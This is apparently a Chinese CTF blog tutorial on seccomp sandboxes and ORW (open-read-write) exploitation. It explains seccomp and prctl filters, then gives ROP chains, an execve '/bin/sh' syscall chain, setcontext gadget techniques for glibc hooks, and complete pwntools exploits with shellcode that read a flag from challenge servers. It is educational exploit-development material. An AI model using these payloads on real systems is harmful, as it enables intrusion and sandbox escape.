沙盒

什么是orw?

所谓orw就是open read write 打开flag 写入flag 输出flag

什么是seccomp?

seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如程序劫持程序流后通过execve的syscall来getshell。所以可以通过seccomp_init、seccomp_rule_add、seccomp_load配合 或者prctl来ban掉一些系统调用.

在实战中我们可以通过 seccomp-tools来查看程序是否启用了沙箱, seccomp-tools工具安装方法如下:

1
2
$ sudo apt install gcc ruby-dev
$ gem install seccomp-tools

安装完成后通过 seccomp-tools dump ./pwn即可查看程序沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
q@ubuntu:~$ seccomp-tools dump ./not
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

怎么读取?

该规则描述了一个程序的系统调用过滤策略。它的逻辑如下:

  1. 检查架构是否为 x86_64(ARCH_X86_64)。如果不是,跳转到标签 0010。
  2. 获取系统调用号(sys_number)。
  3. 如果系统调用号小于 0x40000000,跳转到标签 0005。
  4. 如果系统调用号不等于 0xffffffff,跳转到标签 0010。
  5. 如果系统调用号是 read,则跳转到标签 0009。
  6. 如果系统调用号是 write,则跳转到标签 0009。
  7. 如果系统调用号是 open,则跳转到标签 0009。
  8. 如果系统调用号不是 exit,则跳转到标签 0010。
  9. 返回允许执行该系统调用。
  10. 返回拒绝执行该系统调用(终止进程)。

怎么实现沙盒?

在ctf中常见的实现沙箱的机制有两种,一种是prctl函数调用,另一种就是seccomp库函数

而其一般都会禁用execve函数,使之无法直接getshell

在严格模式下甚至只支持exit(),sigreturn(),read()和write()的使用,使用其他系统调用都将会杀掉进程

prctl函数调用

可以通过第一个参数控制程序进程去做什么,该参数常见得为3822两种情况

1
prctl(38, 1LL, 0LL, 0LL, 0LL);
  • 第一个参数为38,第二个参数为1时,禁用execve且子进程一样
1
prctl(22, 2LL, &v1);
  • 第一个参数为22
  • 第二个参数为1时,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
  • 第二个参数为2时,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则

seccomp

首先对seccomp进行初始化

1
v1 = seccomp_init(0LL);
  • 为0表示白名单模式,为0x7fff0000U则为黑名单模式
1
2
//之后对seccomp添加规则
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  • v1对应上面初始化后返回得值
  • 0x7fff0000U即黑名单模式
  • 2对应系统调用号
  • 0 对应系统调用所限制使用得参数数量,0即不限制

禁止read函数第一个参数为0的调用的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
#include <errno.h>
__int64_t work() {
scmp_filter_ctx v1;
int rc;
char buf[100];

v1 = seccomp_init(SCMP_ACT_ALLOW);

if(v1==NULL)
return 1;
rc = seccomp_rule_add_exact(v1, SCMP_ACT_ERRNO(EACCES), SCMP_SYS(read), 1, SCMP_A0(SCMP_CMP_EQ, 0));
if(rc<0)
return 2;
rc = seccomp_load(v1);
if(rc<0)
return 3;
int test;
test=read(0,buf,sizeof(buf));

return test;
}

int main() {
__int64_t result = work();
printf("Result: %ld\n", result);
return 0;
}

编写沙箱规则的shellcode

使用seccomp-tools生成规则,一条规则是8个字节

1
2
3
4
5
6
7
8
9
#cat 1.asm
A = sys_number
A == 257? e0:next
A == 1? ok:next
return ALLOW
e0:
return ERRNO(0)
ok:
return ALLOW

规则如下:

1
2
3
4
5
6
7
8
9
#seccomp-tools asm 1.asm -f raw |seccomp-tools disasm -
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x02 0x00 0x00000101 if (A == openat) goto 0004
0002: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0005
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0004: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

生成16进制字符串

1
2
#seccomp-tools asm 1.asm
"x20x00x00x00x00x00x00x00x15x00x02x00x01x01x00x00x15x00x02x00x01x00x00x00x06x00x00x00x00x00xFFx7Fx06x00x00x00x00x00x05x00x06x00x00x00x00x00xFFx7F"

沙盒的绕过

首先复习寄存器的约定:

在64位的x86架构中,函数调用时使用的寄存器约定为:

  1. 参数寄存器:

    参数 寄存器
    第一个参数 RDI
    第二个参数 RSI
    第三个参数 RDX
    第四个参数 RCX
    第五个参数 R8
    第六个参数 R9

    浮点参数存储在 XMM0XMM7 寄存器中。

  2. 返回值寄存器:

    • 整型返回值存储在寄存器 RAX 中。
    • 浮点返回值存储在寄存器 XMM0 中。
  3. 其他寄存器:

    • 寄存器 RBXRBPR12R13R14R15 在函数调用期间被视为被调用者保存寄存器,即在函数调用前后需要保持其值不变。
    • 寄存器 RSP 用于栈指针。

1.简单栈利用:

通过栈溢出控制程序返回流构造rop链依次执行open、read、write函数。

例题:ciscn2023 烧烤摊

整数溢出后存在栈溢出,栈溢出后orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
name_addr = 0x04E60F0

#1.orw
payload = b"/flag\x00" //name即为flag,name_addr = flag_addr
payload = payload.ljust(0x28,b'a')
payload += p64(pop_rdi_ret) + p64(name_addr) + p64(pop_rsi_ret) + p64(r_addr) + p64(fopen64_addr)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(name_addr) + p64(pop_rdx_rbx_ret) + p64(0x30) * 2 + p64(read_addr)
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(name_addr) + p64(pop_rdx_rbx_ret) + p64(0x30) * 2 + p64(write_addr)
io.sendline(payload)

#若bss段地址可写,可直接写入orw_shellocode
payload = asm(shellcraft.open('/home/ctf/flag.txt') + shellcraft.read(3, bss_addr, 0x300) + shellcraft.write(1, bss_addr, 0x300))

#2.syscall
payload = b'/bin/sh\x00' + b'a' * (0x20-0x8) + b'a' * 0x08
+ p64(pop_rax_ret) + p64(59)
+ p64(pop_rdi_ret) + p64(name_addr)
+ p64(pop_rsi_ret) + p64(0)
+ p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
+ p64(syscall_addr)
io.sendline(payload)

NX可以防止攻击者将数据区域(如栈或堆)中的代码作为执行指令

2.orw+shellcode:

针对于NX未开启且禁用execve系统调用的程序,即可以写入shellcode,分两段写入

1
payload = shellcode1 + p64(ret_addr) + shellcode2

第一段写入orw代码,返回地址填入jmp rsp地址,第二段写入控制rsp的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
shellcode1 = asm(shellcraft.cat('flag'))    	//直接调用cat读取

//或
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
payload1 = asm(shellcode)

//或
shellcode1 = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall

mov edi,eax
mov rsi,rsp
sub rsi,50
xor eax,eax
syscall

xor edi,2 #mov dil,1
mov eax,edi #mov al,1
syscall


mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall

''') //即调用open、read、write函数

shellcode1 = shellcode1.ljust(offset,b'\x00') //offset = 距离rbp偏移

shellcoe2 = asm('sub rsp,0x30;call rsp') //控制执行流回到初始地方执行shellcode

payload = shellcode1 + p64(jmp rsp_addr) + shellcode2

文件标识符中0、1、2是默认打开的接下来打开的会按照3、4、5……这样排列

3、思路

低版本

Glibc2.29以前的 ORW解题思路已经比较清晰了,主要是劫持 free_hook 或者 malloc_hook写入 setcontext函数中的 gadget,通过 rdi索引,来设置相关寄存器,并执行提前布置好的 ORW ROP chains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret

一般是通过free_hook由于free的时候rdi是可控的,那么就可以在free_hook上放置setcontext的指针,再free的时候就会把可控区域的值填充到寄存器中,从而获得更强大的控制流

高版本

但在 Glibc 2.29之后 setcontext中的gadget变成了以 rdx索引,因此如果我们按照之前思路的话,还要先通过 ROP控制 RDX的值,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000000580DD                 mov     rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
....
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn

但是我们很难找到能够直接控制rdx寄存器的gadgets

但是在 getkeyserv_handle+576,其汇编如下

1
2
3
mov     rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

这个 gadget可以通过 rdi 来控制 rdx, 非常好用,而且从 Glibc2.29到2.32都可用

控制 rdx之后,我们就可以通过 setcontext来控制其他寄存器了

附上本人亲自手绘plus版本的图

地址 地址
rdi rdi+8h RDX
rdi+10h rdi+18h
rdi+20h rdi+28h

前后两张图,大部分时候是会重叠的,取决于可控制区域的大小呢

地址 地址
rdx rdx+8h
rdx+10h rdx+18h
rdx+20h setcontext的指针 rdx+28h R8
rdx+30h R9 rdx+38h
rdx+40h rdx+48h R12
rdx+50h R13 rdx+58h R14
rdx+60h R15 rdx+68h RDI
rdx+70h RSI rdx+78h RBP
rdx+80h RBX rdx+88h RDX
rdx+90h rdx+98h RCX
rdx+a0h RSP rdx+a8h RCX
rdx+b0h rdx+b8h

这里附上学到的程序写法:

1
2
3
4
5
6
7
8
9
10
11
12
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
s = lambda x: p.send(x)

这些是定义一个函数,然后lambda后面的是参数,看着挺好用的,第一次学会

simple_shellcode

这种shellcode题目除了掌握基本的orw_shellcode外,要时刻关注执行shellcode前后的寄存器变化,根据寄存器写shellcode

image-20240313210417540

  • 首先shellcode16个字节大小的限制,这也就意味着接下来我们要用16个字节大小限制的shellcode扩大漏洞利用能力。

img

  • 调试并根据寄存器编写一下shellcode,目标是写入更多数据到0xcafe0000这片空间并执行:
1
2
3
4
5
6
7
8
9
shellcode1=asm('''
mov rdi,rax
mov rsi,rdx
mov edx,0x100
syscall
call rsi
nop
''')
print(len(shellcode1))
  • 而后就是编写常规的orwshellcode,注意开头需要多写一些nop,否则写出的就不是目标flag,猜测是控制相关问题:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
shellcode2=asm('''
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x67616c66 ##flag##
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
  • 总的exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
rom pwn import *
#io=process("./vuln")
io=remote("week-1.hgame.lwsec.cn",31266)
context.arch='amd64'

shellcode2=asm('''
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')

shellcode1=asm('''
mov rdi,rax
mov rsi,rdx
mov edx,0x100
syscall
call rsi
nop
''')
print(len(shellcode1))
io.send(shellcode1)
#gdb.attach(io)
#pause()
io.send(shellcode2)
io.interactive()

或者:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

#p = process('./vuln')
p=remote('1.14.71.254',28371)
elf = ELF('./vuln')
context.log_level = 'debug'

context.terminal = ["konsole", "-e"]
context.arch = "amd64"
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
s = lambda x: p.send(x)

shellcode = asm("""
xor eax,eax
xor edi,edi
mov edx,0x1000
mov esi,0xcafe0000
syscall
""") #这里是调用read函数
sa("Please input your shellcode:",shellcode)
shellcode = b"\x90" * 0x100 #这里的'\x90'是nop,数据改掉后滑到shellcode的地方开始执行
shellcode += asm(shellcraft.open("/flag"))
shellcode += asm(shellcraft.read(3,0xcafe0100,0x100))
shellcode += asm(shellcraft.write(1,0xcafe0100,0x100))
s(shellcode)
ia()

参考:

PWN堆溢出技巧:ORW的解题手法与万金油Gadgets-安全客 - 安全资讯平台 (anquanke.com)

Pwn-浅谈orw利用 | 此间的少年 (gitee.io)

orw入门报告 - ㅤ浮虚千年 - 博客园 (cnblogs.com)